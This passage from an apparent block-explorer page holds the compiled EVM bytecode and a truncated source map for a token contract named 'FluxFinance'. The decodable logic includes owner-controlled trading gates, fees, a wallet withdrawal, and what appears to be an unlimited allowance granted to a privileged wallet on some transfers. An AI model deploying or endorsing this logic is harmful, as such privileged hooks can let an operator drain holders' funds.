37565b6112cf9190611724565b6014549091506001600160a01b0385811691161480156112f857506001600160a01b0385163014155b15610567575f60015460115461130e9190611765565b600155600d5460105411156113265750600e54611340565b600a54601054111561133b5750600c54611340565b506008545b8061134c606486611837565b6113569190611724565b9695505050505050565b305f908152600260209081526040808320737a250d5630b4cf539739df2c5dacb4c659f2488d84529091529020548111156106c357305f908152600260209081526040808320737a250d5630b4cf539739df2c5dacb4c659f2488d845290915290205f19905550565b6113d281611360565b6040805160028082526060820183525f9260208301908036833701905050905030815f8151811061140557611405611856565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561145c573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061148091906117af565b8160018151811061149357611493611856565b6001600160a01b03928316602091820292909201015260135460405163791ac94760e01b815291169063791ac947906114d89085905f9086903090429060040161186a565b5f604051808303815f87803b1580156114ef575f80fd5b505af1158015611501573d5f803e3d5ffd5b505050505050565b5f6020808352835180828501525f5b8181101561153457858101830151858201604001528201611518565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146106c3575f80fd5b5f8060408385031215611579575f80fd5b823561158481611554565b946020939093013593505050565b5f805f606084860312156115a4575f80fd5b83356115af81611554565b925060208401356115bf81611554565b929592945050506040919091013590565b5f602082840312156115e0575f80fd5b813561056a81611554565b5f80604083850312156115fc575f80fd5b823561160781611554565b9150602083013561161781611554565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561167057815f190482111561165657611656611622565b8085161561166357918102915b93841c939080029061163b565b509250929050565b5f826116865750600161048b565b8161169257505f61048b565b81600181146116a857600281146116b2576116ce565b600191505061048b565b60ff8411156116c3576116c3611622565b50506001821b61048b565b5060208310610133831016604e8410600b84101617156116f1575081810a61048b565b6116fb8383611636565b805f190482111561170e5761170e611622565b029392505050565b5f61056a60ff841683611678565b808202811582820484141761048b5761048b611622565b60208082526010908201526f2a3930b234b733903737ba1037b832b760811b604082015260600190565b8181038181111561048b5761048b611622565b60208082526018908201527f4f6e6c79206f776e65722063616e2063616c6c20746869730000000000000000604082015260600190565b5f602082840312156117bf575f80fd5b815161056a81611554565b5f602082840312156117da575f80fd5b5051919050565b8082018082111561048b5761048b611622565b5f6001820161180557611805611622565b5060010190565b5f805f6060848603121561181e575f80fd5b8351925060208401519150604084015190509250925092565b5f8261185157634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156118b85784516001600160a01b031683529383019391830191600101611893565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212209b10fb932ba3e5cd51e752eb17657c89839f35a604797bf1cbf2a73bb48485a564736f6c63430008150033ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef

Deployed Bytecode

0x60806040526004361061013f575f3560e01c8063860a32ec116100b3578063a9059cbb1161006d578063a9059cbb14610366578063c36956a014610385578063c876d0b91461039a578063dd62ed3e146103ba578063e8078d94146103fe578063ea414b2814610406575f80fd5b8063860a32ec146102b757806389f9a1d3146102d75780638a8c523c146102ec5780638da5cb5b1461030057806395d89b4114610326578063a0ef91df14610352575f80fd5b806327b1a8e91161010457806327b1a8e914610214578063313ce56714610229578063440604fb1461024457806370a0823114610259578063715018a61461028d578063751039fc146102a3575f80fd5b806306fdde031461014a578063095ea7b31461018f5780630c193045146101be57806318160ddd146101e157806323b872dd146101f5575f80fd5b3661014657005b5f80fd5b348015610155575f80fd5b5060408051808201909152600b81526a466c757846696e616e636560a81b60208201525b6040516101869190611509565b60405180910390f35b34801561019a575f80fd5b506101ae6101a9366004611568565b610425565b6040519015158152602001610186565b3480156101c9575f80fd5b506101d3600b5481565b604051908152602001610186565b3480156101ec575f80fd5b506101d3610491565b348015610200575f80fd5b506101ae61020f366004611592565b6104b1565b34801561021f575f80fd5b506101d360105481565b348015610234575f80fd5b5060405160128152602001610186565b34801561024f575f80fd5b506101d3600d5481565b348015610264575f80fd5b506101d36102733660046115d0565b6001600160a01b03165f9081526003602052604090205490565b348015610298575f80fd5b506102a1610571565b005b3480156102ae575f80fd5b506102a16105de565b3480156102c2575f80fd5b506014546101ae90600160a81b900460ff1681565b3480156102e2575f80fd5b506101d360155481565b3480156102f7575f80fd5b506102a1610617565b34801561030b575f80fd5b505f546040516001600160a01b039091168152602001610186565b348015610331575f80fd5b5060408051808201909152600481526308c98aab60e31b6020820152610179565b34801561035d575f80fd5b506102a1610651565b348015610371575f80fd5b506101ae610380366004611568565b6106c6565b348015610390575f80fd5b506101d3600a5481565b3480156103a5575f80fd5b506014546101ae90600160a01b900460ff1681565b3480156103c5575f80fd5b506101d36103d43660046115eb565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b6102a16106f7565b348015610411575f80fd5b506102a16104203660046115d0565b610a38565b335f8181526002602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061047f9086815260200190565b60405180910390a35060015b92915050565b5f61049e6012600a611716565b6104ac90633b9aca00611724565b905090565b5f6104bb84610a83565b6104e05760405162461bcd60e51b81526004016104d79061173b565b60405180910390fd5b6001600160a01b0384165f9081526002602090815260408083203384529091529020545f191461055c576001600160a01b0384165f908152600260209081526040808320338452909152902054610538908390611765565b6001600160a01b0385165f9081526002602090815260408083203384529091529020555b610567848484610ac8565b90505b9392505050565b5f546001600160a01b0316331461059a5760405162461bcd60e51b81526004016104d790611778565b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b5f546001600160a01b031633146106075760405162461bcd60e51b81526004016104d790611778565b6014805461ffff60a01b19169055565b5f546001600160a01b031633146106405760405162461bcd60e51b81526004016104d790611778565b6016805461ff001916610100179055565b6012546001600160a01b03163314610667575f80fd5b6012546040515f916001600160a01b03169047908381818185875af1925050503d805f81146106b1576040519150601f19603f3d011682016040523d82523d5f602084013e6106b6565b606091505b50509050806106c3575f80fd5b50565b5f6106d033610a83565b6106ec5760405162461bcd60e51b81526004016104d79061173b565b61056a338484610ac8565b5f546001600160a01b031633146107205760405162461bcd60e51b81526004016104d790611778565b6016805460ff191660011790556014546001600160a01b0316156107725760405162461bcd60e51b81526020600482015260096024820152684c502065786973747360b81b60448201526064016104d7565b601654610100900460ff16156107bc5760405162461bcd60e51b815260206004820152600f60248201526e3a3930b234b7339034b99037b832b760891b60448201526064016104d7565b5f3411806107c957505f47115b6108155760405162461bcd60e51b815260206004820152601d60248201527f4e6f2045544820696e20636f6e7472616374206f72206d65737361676500000060448201526064016104d7565b305f908152600360205260409020546108685760405162461bcd60e51b8152602060048201526015602482015274139bc81d1bdad95b9cc81a5b8818dbdb9d1c9858dd605a1b60448201526064016104d7565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108b8573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108dc91906117af565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561093b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061095f91906117af565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156109a9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109cd91906117af565b601480546001600160a01b0319166001600160a01b0392909216919091179055305f90815260036020526040902054610a069047610f1c565b6014546001600160a01b03165f908152600660205260409020805460ff19908116600117909155601680549091169055565b5f546001600160a01b03163314610a615760405162461bcd60e51b81526004016104d790611778565b601280546001600160a01b0319166001600160a01b0392909216919091179055565b6016545f908190610100900460ff1615610a9f5750600161048b565b6001600160a01b0383165f9081526005602052604090205460ff161561048b5750600192915050565b5f6001600160a01b038416610b1f5760405162461bcd60e51b815260206004820152601d60248201527f4e6f207472616e73666572732066726f6d205a65726f2077616c6c657400000060448201526064016104d7565b6001600160a01b0384165f9081526006602052604090205460ff168015610b5357506012546001600160a01b038481169116145b15610b6457610b6484845f19610fc1565b6001600160a01b0384165f9081526005602052604090205460ff1680610ba157506001600160a01b0383165f9081526005602052604090205460ff165b15610bb857610bb184848461101b565b905061056a565b601654610100900460ff16610bfe576001600160a01b0384165f9081526005602052604090205460ff16610bfe5760405162461bcd60e51b81526004016104d79061173b565b60165460ff16158015610c2857506001600160a01b0383165f9081526006602052604090205460ff165b8015610c38575060115460105410155b15610c4557610c456110ce565b6007546040516370a0823160e01b81526001600160a01b03909116600482015230906370a0823190602401602060405180830381865afa158015610c8b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610caf91906117ca565b600155601454600160a81b900460ff168015610cd857506014546001600160a01b038581169116145b15610d405760155482610cff856001600160a01b03165f9081526003602052604090205490565b610d0991906117e1565b1115610d405760405162461bcd60e51b8152602060048201526006602482015265119bdc989a5960d21b60448201526064016104d7565b601454600160a01b900460ff1615610e0d576001600160a01b038316737a250d5630b4cf539739df2c5dacb4c659f2488d14801590610d8d57506014546001600160a01b03848116911614155b15610e0d57325f908152600460205260409020544311610dfb5760405162461bcd60e51b8152602060048201526024808201527f4f6e6c79206f6e65207472616e736665722070657220626c6f636b20616c6c6f6044820152633bb2b21760e11b60648201526084016104d7565b325f9081526004602052604090204390555b5f610e19858585611205565b90505f610e268285611765565b6001600160a01b0387165f90815260036020526040812080549293508692909190610e52908490611765565b90915550508115610e8157305f9081526003602052604081208054849290610e7b9084906117e1565b90915550505b60108054905f610e90836117f4565b90915550506001600160a01b0385165f9081526003602052604081208054839290610ebc9084906117e1565b92505081905550846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051610f0891815260200190565b60405180910390a350600195945050505050565b610f2582611360565b6013545f805460405163f305d71960e01b8152306004820152602481018690526044810183905260648101929092526001600160a01b0390811660848301524260a48301529091169063f305d71990839060c40160606040518083038185885af1158015610f95573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610fba919061180c565b5050505050565b6001600160a01b038084165f90815260026020908152604080832093861683529290522054811115611016576001600160a01b038084165f9081526002602090815260408083209386168352929052205f1990555b505050565b6001600160a01b0383165f90815260036020526040812080548391908390611044908490611765565b90915550506001600160a01b0383165f90815260036020526040812080548492906110709084906117e1565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110bc91815260200190565b60405180910390a35060019392505050565b6016805460ff19166001179055305f908152600360205260408120549050621e84806110fc6012600a611716565b61110a90633b9aca00611724565b6111149190611837565b811015801561112a5750601654610100900460ff165b156111f8576101f461113e6012600a611716565b61114c90633b9aca00611724565b6111569190611837565b8110611186576101f461116b6012600a611716565b61117990633b9aca00611724565b6111839190611837565b90505b61118f816113c9565b4780156111f6576012546040515f916001600160a01b03169083908381818185875af1925050503d805f81146111e0576040519150601f19603f3d011682016040523d82523d5f602084013e6111e5565b606091505b505080915050806111f4575f80fd5b505b505b506016805460ff19169055565b6016545f908190610100900460ff16801561123857506001600160a01b0385165f9081526005602052604090205460ff16155b801561125c57506001600160a01b0384165f9081526005602052604090205460ff16155b15610567576001600160a01b0385165f9081526006602052604090205460ff168061129e57506001600160a01b0384165f9081526006602052604090205460ff165b1561056757600b54601054116112b6576009546112ba565b600f545b6112c5606485611837565b6112cf9190611724565b6014549091506001600160a01b0385811691161480156112f857506001600160a01b0385163014155b15610567575f60015460115461130e9190611765565b600155600d5460105411156113265750600e54611340565b600a54601054111561133b5750600c54611340565b506008545b8061134c606486611837565b6113569190611724565b9695505050505050565b305f908152600260209081526040808320737a250d5630b4cf539739df2c5dacb4c659f2488d84529091529020548111156106c357305f908152600260209081526040808320737a250d5630b4cf539739df2c5dacb4c659f2488d845290915290205f19905550565b6113d281611360565b6040805160028082526060820183525f9260208301908036833701905050905030815f8151811061140557611405611856565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561145c573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061148091906117af565b8160018151811061149357611493611856565b6001600160a01b03928316602091820292909201015260135460405163791ac94760e01b815291169063791ac947906114d89085905f9086903090429060040161186a565b5f604051808303815f87803b1580156114ef575f80fd5b505af1158015611501573d5f803e3d5ffd5b505050505050565b5f6020808352835180828501525f5b8181101561153457858101830151858201604001528201611518565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146106c3575f80fd5b5f8060408385031215611579575f80fd5b823561158481611554565b946020939093013593505050565b5f805f606084860312156115a4575f80fd5b83356115af81611554565b925060208401356115bf81611554565b929592945050506040919091013590565b5f602082840312156115e0575f80fd5b813561056a81611554565b5f80604083850312156115fc575f80fd5b823561160781611554565b9150602083013561161781611554565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561167057815f190482111561165657611656611622565b8085161561166357918102915b93841c939080029061163b565b509250929050565b5f826116865750600161048b565b8161169257505f61048b565b81600181146116a857600281146116b2576116ce565b600191505061048b565b60ff8411156116c3576116c3611622565b50506001821b61048b565b5060208310610133831016604e8410600b84101617156116f1575081810a61048b565b6116fb8383611636565b805f190482111561170e5761170e611622565b029392505050565b5f61056a60ff841683611678565b808202811582820484141761048b5761048b611622565b60208082526010908201526f2a3930b234b733903737ba1037b832b760811b604082015260600190565b8181038181111561048b5761048b611622565b60208082526018908201527f4f6e6c79206f776e65722063616e2063616c6c20746869730000000000000000604082015260600190565b5f602082840312156117bf575f80fd5b815161056a81611554565b5f602082840312156117da575f80fd5b5051919050565b8082018082111561048b5761048b611622565b5f6001820161180557611805611622565b5060010190565b5f805f6060848603121561181e575f80fd5b8351925060208401519150604084015190509250925092565b5f8261185157634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156118b85784516001600160a01b031683529383019391830191600101611893565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212209b10fb932ba3e5cd51e752eb17657c89839f35a604797bf1cbf2a73bb48485a564736f6c63430008150033

Deployed Bytecode Sourcemap

2289:10269:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11536:80;;;;;;;;;;-1:-1:-1;11608:5:0;;;;;;;;;;;;-1:-1:-1;;;11608:5:0;;;;11536:80;;;;;;;:::i;:::-;;;;;;;;7445:216;;;;;;;;;;-1:-1:-1;7445:216:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7445:216:0;1023:187:1;3060:35:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;3060:35:0;1215:177:1;11447:83:0;;;;;;;;;;;;;:::i;6804:403::-;;;;;;;;;;-1:-1:-1;6804:403:0;;;;;:::i;:::-;;:::i;3282:28::-;;;;;;;;;;;;;;;;11361:80;;;;;;;;;;-1:-1:-1;11361:80:0;;2494:2;2000:36:1;;1988:2;1973:18;11361:80:0;1858:184:1;3151:41:0;;;;;;;;;;;;;;;;11851:105;;;;;;;;;;-1:-1:-1;11851:105:0;;;;;:::i;:::-;-1:-1:-1;;;;;11935:18:0;11917:7;11935:18;;;:9;:18;;;;;;;11851:105;1936:134;;;;;;;;;;;;;:::i;:::-;;8488:116;;;;;;;;;;;;;:::i;3822:26::-;;;;;;;;;;-1:-1:-1;3822:26:0;;;;-1:-1:-1;;;3822:26:0;;;;;;3855:62;;;;;;;;;;;;;;;;8398:82;;;;;;;;;;;;;:::i;2076:65::-;;;;;;;;;;-1:-1:-1;2114:7:0;2132:6;2076:65;;-1:-1:-1;;;;;2132:6:0;;;2445:51:1;;2433:2;2418:18;2076:65:0;2299:203:1;11622:84:0;;;;;;;;;;-1:-1:-1;11696:7:0;;;;;;;;;;;;-1:-1:-1;;;11696:7:0;;;;11622:84;;8193:193;;;;;;;;;;;;;:::i;7215:222::-;;;;;;;;;;-1:-1:-1;7215:222:0;;;;;:::i;:::-;;:::i;3017:36::-;;;;;;;;;;;;;;;;3775:40;;;;;;;;;;-1:-1:-1;3775:40:0;;;;-1:-1:-1;;;3775:40:0;;;;;;11712:133;;;;;;;;;;-1:-1:-1;11712:133:0;;;;;:::i;:::-;-1:-1:-1;;;;;11814:19:0;;;11796:7;11814:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;11712:133;11964:591;;;:::i;8866:114::-;;;;;;;;;;-1:-1:-1;8866:114:0;;;;;:::i;:::-;;:::i;7445:216::-;7549:10;7520:4;7537:23;;;:11;:23;;;;;;;;-1:-1:-1;;;;;7537:32:0;;;;;;;;;;:41;;;7594:37;7520:4;;7537:32;;7594:37;;;;7572:6;1361:25:1;;1349:2;1334:18;;1215:177;7594:37:0;;;;;;;;-1:-1:-1;7649:4:0;7445:216;;;;;:::o;11447:83::-;11502:7;2555:13;2494:2;2555;:13;:::i;:::-;2538:31;;:13;:31;:::i;:::-;11513:14;;11447:83;:::o;6804:403::-;6904:4;6929:22;6944:6;6929:14;:22::i;:::-;6921:51;;;;-1:-1:-1;;;6921:51:0;;;;;;;:::i;:::-;;;;;;;;;-1:-1:-1;;;;;6987:19:0;;;;;;:11;:19;;;;;;;;7007:10;6987:31;;;;;;;;-1:-1:-1;;6987:52:0;6983:159;;-1:-1:-1;;;;;7090:19:0;;;;;;:11;:19;;;;;;;;7110:10;7090:31;;;;;;;;:40;;7124:6;;7090:40;:::i;:::-;-1:-1:-1;;;;;7056:19:0;;;;;;:11;:19;;;;;;;;7076:10;7056:31;;;;;;;:74;6983:159;7159:40;7173:6;7181:9;7192:6;7159:13;:40::i;:::-;7152:47;;6804:403;;;;;;:::o;1936:134::-;2192:6;;-1:-1:-1;;;;;2192:6:0;2178:10;:20;2170:57;;;;-1:-1:-1;;;2170:57:0;;;;;;;:::i;:::-;2012:1:::1;1995:19:::0;;-1:-1:-1;;;;;;1995:19:0::1;::::0;;2030:32:::1;::::0;2445:51:1;;;2030:32:0::1;::::0;2433:2:1;2418:18;2030:32:0::1;;;;;;;1936:134::o:0;8488:116::-;2192:6;;-1:-1:-1;;;;;2192:6:0;2178:10;:20;2170:57;;;;-1:-1:-1;;;2170:57:0;;;;;;;:::i;:::-;8542:20:::1;:28:::0;;-1:-1:-1;;;;8581:15:0;;;8488:116::o;8398:82::-;2192:6;;-1:-1:-1;;;;;2192:6:0;2178:10;:20;2170:57;;;;-1:-1:-1;;;2170:57:0;;;;;;;:::i;:::-;8453:12:::1;:19:::0;;-1:-1:-1;;8453:19:0::1;;;::::0;;8398:82::o;8193:193::-;8258:10;;-1:-1:-1;;;;;8258:10:0;8244;:24;8236:33;;;;;;8304:10;;8296:58;;8281:9;;-1:-1:-1;;;;;8304:10:0;;8328:21;;8281:9;8296:58;8281:9;8296:58;8328:21;8304:10;8296:58;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8280:74;;;8373:4;8365:13;;;;;;8225:161;8193:193::o;7215:222::-;7295:4;7320:26;7335:10;7320:14;:26::i;:::-;7312:55;;;;-1:-1:-1;;;7312:55:0;;;;;;;:::i;:::-;7385:44;7399:10;7411:9;7422:6;7385:13;:44::i;11964:591::-;2192:6;;-1:-1:-1;;;;;2192:6:0;2178:10;:20;2170:57;;;;-1:-1:-1;;;2170:57:0;;;;;;;:::i;:::-;4776:7:::1;:14:::0;;-1:-1:-1;;4776:14:0::1;4786:4;4776:14;::::0;;12046::::2;::::0;-1:-1:-1;;;;;12046:14:0::2;:28:::0;12038:50:::2;;;::::0;-1:-1:-1;;;12038:50:0;;5831:2:1;12038:50:0::2;::::0;::::2;5813:21:1::0;5870:1;5850:18;;;5843:29;-1:-1:-1;;;5888:18:1;;;5881:39;5937:18;;12038:50:0::2;5629:332:1::0;12038:50:0::2;12108:12;::::0;::::2;::::0;::::2;;;12107:13;12099:41;;;::::0;-1:-1:-1;;;12099:41:0;;6168:2:1;12099:41:0::2;::::0;::::2;6150:21:1::0;6207:2;6187:18;;;6180:30;-1:-1:-1;;;6226:18:1;;;6219:45;6281:18;;12099:41:0::2;5966:339:1::0;12099:41:0::2;12171:1;12159:9;:13;:42;;;;12200:1;12176:21;:25;12159:42;12151:84;;;::::0;-1:-1:-1;;;12151:84:0;;6512:2:1;12151:84:0::2;::::0;::::2;6494:21:1::0;6551:2;6531:18;;;6524:30;6590:31;6570:18;;;6563:59;6639:18;;12151:84:0::2;6310:353:1::0;12151:84:0::2;12272:4;12281:1;12254:24:::0;;;:9:::2;:24;::::0;;;;;12246:62:::2;;;::::0;-1:-1:-1;;;12246:62:0;;6870:2:1;12246:62:0::2;::::0;::::2;6852:21:1::0;6909:2;6889:18;;;6882:30;-1:-1:-1;;;6928:18:1;;;6921:51;6989:18;;12246:62:0::2;6668:345:1::0;12246:62:0::2;12356:16;;;;;;;;;-1:-1:-1::0;;;;;12356:16:0::2;-1:-1:-1::0;;;;;12356:24:0::2;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::2;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12338:56:0::2;;12403:4;12410:16;;;;;;;;;-1:-1:-1::0;;;;;12410:16:0::2;-1:-1:-1::0;;;;;12410:21:0::2;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::2;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12338:96;::::0;-1:-1:-1;;;;;;12338:96:0::2;::::0;;;;;;-1:-1:-1;;;;;7504:15:1;;;12338:96:0::2;::::0;::::2;7486:34:1::0;7556:15;;7536:18;;;7529:43;7421:18;;12338:96:0::2;;;;;;;;;;;;;;;;;;::::0;::::2;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12321:14;:113:::0;;-1:-1:-1;;;;;;12321:113:0::2;-1:-1:-1::0;;;;;12321:113:0;;;::::2;::::0;;;::::2;::::0;;12477:4:::2;-1:-1:-1::0;12459:24:0;;;:9:::2;:24;::::0;;;;;12445:62:::2;::::0;12485:21:::2;12445:13;:62::i;:::-;12525:14;::::0;-1:-1:-1;;;;;12525:14:0::2;12518:22;::::0;;;:6:::2;:22;::::0;;;;:29;;-1:-1:-1;;12518:29:0;;::::2;12543:4;12518:29;::::0;;;4815:7:::1;:15:::0;;;;::::1;::::0;;11964:591::o;8866:114::-;2192:6;;-1:-1:-1;;;;;2192:6:0;2178:10;:20;2170:57;;;;-1:-1:-1;;;2170:57:0;;;;;;;:::i;:::-;8938:10:::1;:34:::0;;-1:-1:-1;;;;;;8938:34:0::1;-1:-1:-1::0;;;;;8938:34:0;;;::::1;::::0;;;::::1;::::0;;8866:114::o;8612:246::-;8727:12;;8674:4;;;;8727:12;;;;;8723:101;;;-1:-1:-1;8752:4:0;8723:101;;;-1:-1:-1;;;;;8778:26:0;;;;;;:18;:26;;;;;;;;8774:50;;;-1:-1:-1;8817:4:0;8844:6;8612:246;-1:-1:-1;;8612:246:0:o;4884:1652::-;4976:4;-1:-1:-1;;;;;5001:20:0;;4993:62;;;;-1:-1:-1;;;4993:62:0;;7785:2:1;4993:62:0;;;7767:21:1;7824:2;7804:18;;;7797:30;7863:31;7843:18;;;7836:59;7912:18;;4993:62:0;7583:353:1;4993:62:0;-1:-1:-1;;;;;5072:14:0;;;;;;:6;:14;;;;;;;;:41;;;;-1:-1:-1;5103:10:0;;-1:-1:-1;;;;;5090:23:0;;;5103:10;;5090:23;5072:41;5068:126;;;5130:52;5148:6;5156:9;-1:-1:-1;;5130:17:0;:52::i;:::-;-1:-1:-1;;;;;5218:26:0;;;;;;:18;:26;;;;;;;;;:59;;-1:-1:-1;;;;;;5248:29:0;;;;;;:18;:29;;;;;;;;5218:59;5214:143;;;5301:44;5319:6;5327:9;5338:6;5301:17;:44::i;:::-;5294:51;;;;5214:143;5382:12;;;;;;;5377:79;;-1:-1:-1;;;;;5406:26:0;;;;;;:18;:26;;;;;;;;5398:55;;;;-1:-1:-1;;;5398:55:0;;;;;;;:::i;:::-;5473:7;;;;5472:8;:29;;;;-1:-1:-1;;;;;;5484:17:0;;;;;;:6;:17;;;;;;;;5472:29;:64;;;;;5518:18;;5505:9;;:31;;5472:64;5468:95;;;5540:20;:18;:20::i;:::-;5602:13;;5587:29;;-1:-1:-1;;;5587:29:0;;-1:-1:-1;;;;;5602:13:0;;;5587:29;;;2445:51:1;5587:4:0;;:14;;2418:18:1;;5587:29:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5575:9;:41;5631:7;;-1:-1:-1;;;5631:7:0;;;;:35;;;;-1:-1:-1;5652:14:0;;-1:-1:-1;;;;;5642:24:0;;;5652:14;;5642:24;5631:35;5627:136;;;5724:16;;5714:6;5691:20;5701:9;-1:-1:-1;;;;;11935:18:0;11917:7;11935:18;;;:9;:18;;;;;;;11851:105;5691:20;:29;;;;:::i;:::-;:49;;5683:68;;;;-1:-1:-1;;;5683:68:0;;8678:2:1;5683:68:0;;;8660:21:1;8717:1;8697:18;;;8690:29;-1:-1:-1;;;8735:18:1;;;8728:36;8781:18;;5683:68:0;8476:329:1;5683:68:0;5779:20;;-1:-1:-1;;;5779:20:0;;;;5775:336;;;-1:-1:-1;;;;;5820:36:0;;3590:42;5820:36;;;;:67;;-1:-1:-1;5873:14:0;;-1:-1:-1;;;;;5860:27:0;;;5873:14;;5860:27;;5820:67;5816:284;;;5945:9;5916:39;;;;:28;:39;;;;;;5958:12;-1:-1:-1;5908:103:0;;;;-1:-1:-1;;;5908:103:0;;9012:2:1;5908:103:0;;;8994:21:1;9051:2;9031:18;;;9024:30;9090:34;9070:18;;;9063:62;-1:-1:-1;;;9141:18:1;;;9134:34;9185:19;;5908:103:0;8810:400:1;5908:103:0;6059:9;6030:39;;;;:28;:39;;;;;6072:12;6030:54;;5816:284;6123:18;6144:41;6159:6;6167:9;6178:6;6144:14;:41::i;:::-;6123:62;-1:-1:-1;6196:23:0;6222:19;6123:62;6222:6;:19;:::i;:::-;-1:-1:-1;;;;;6252:17:0;;;;;;:9;:17;;;;;:27;;6196:45;;-1:-1:-1;6273:6:0;;6252:17;;;:27;;6273:6;;6252:27;:::i;:::-;;;;-1:-1:-1;;6296:14:0;;6292:86;;6345:4;6327:24;;;;:9;:24;;;;;:38;;6355:10;;6327:24;:38;;6355:10;;6327:38;:::i;:::-;;;;-1:-1:-1;;6292:86:0;6390:9;:11;;;:9;:11;;;:::i;:::-;;;;-1:-1:-1;;;;;;;6412:20:0;;;;;;:9;:20;;;;;:39;;6436:15;;6412:20;:39;;6436:15;;6412:39;:::i;:::-;;;;;;;;6486:9;-1:-1:-1;;;;;6469:35:0;6478:6;-1:-1:-1;;;;;6469:35:0;;6497:6;6469:35;;;;1361:25:1;;1349:2;1334:18;;1215:177;6469:35:0;;;;;;;;-1:-1:-1;6524:4:0;;4884:1652;-1:-1:-1;;;;;4884:1652:0:o;8988:255::-;9076:31;9094:12;9076:17;:31::i;:::-;9118:16;;;9210:6;;9118:117;;-1:-1:-1;;;9118:117:0;;9183:4;9118:117;;;9696:34:1;9746:18;;;9739:34;;;9789:18;;;9782:34;;;9832:18;;;9825:34;;;;-1:-1:-1;;;;;9210:6:0;;;9875:19:1;;;9868:44;9218:15:0;9928:19:1;;;9921:35;9118:16:0;;;;:32;;9158:13;;9630:19:1;;9118:117:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;8988:255;;:::o;6544:248::-;-1:-1:-1;;;;;6655:19:0;;;;;;;:11;:19;;;;;;;;:33;;;;;;;;;;:48;-1:-1:-1;6651:134:0;;;-1:-1:-1;;;;;6720:19:0;;;;;;;:11;:19;;;;;;;;:33;;;;;;;;;-1:-1:-1;;6720:53:0;;6651:134;6544:248;;;:::o;7923:262::-;-1:-1:-1;;;;;8036:17:0;;8019:4;8036:17;;;:9;:17;;;;;:27;;8057:6;;8036:17;8019:4;;8036:27;;8057:6;;8036:27;:::i;:::-;;;;-1:-1:-1;;;;;;;8074:20:0;;;;;;:9;:20;;;;;:30;;8098:6;;8074:20;:30;;8098:6;;8074:30;:::i;:::-;;;;;;;;8137:9;-1:-1:-1;;;;;8120:35:0;8129:6;-1:-1:-1;;;;;8120:35:0;;8148:6;8120:35;;;;1361:25:1;;1349:2;1334:18;;1215:177;8120:35:0;;;;;;;;-1:-1:-1;8173:4:0;7923:262;;;;;:::o;10726:627::-;4776:7;:14;;-1:-1:-1;;4776:14:0;4786:4;4776:14;;;10835:4:::1;-1:-1:-1::0;11935:18:0;;;:9;:18;;;;;;10787:54;-1:-1:-1;3515:7:0::1;2555:13;2494:2;2555;:13;:::i;:::-;2538:31;::::0;:13:::1;:31;:::i;:::-;3505:17;;;;:::i;:::-;10858:19;:34;;:50;;;;-1:-1:-1::0;10896:12:0::1;::::0;::::1;::::0;::::1;;;10858:50;10854:492;;;3456:3;2555:13;2494:2;2555;:13;:::i;:::-;2538:31;::::0;:13:::1;:31;:::i;:::-;3446:13;;;;:::i;:::-;10929:19;:34;10925:78;;3456:3;2555:13;2494:2;2555;:13;:::i;:::-;2538:31;::::0;:1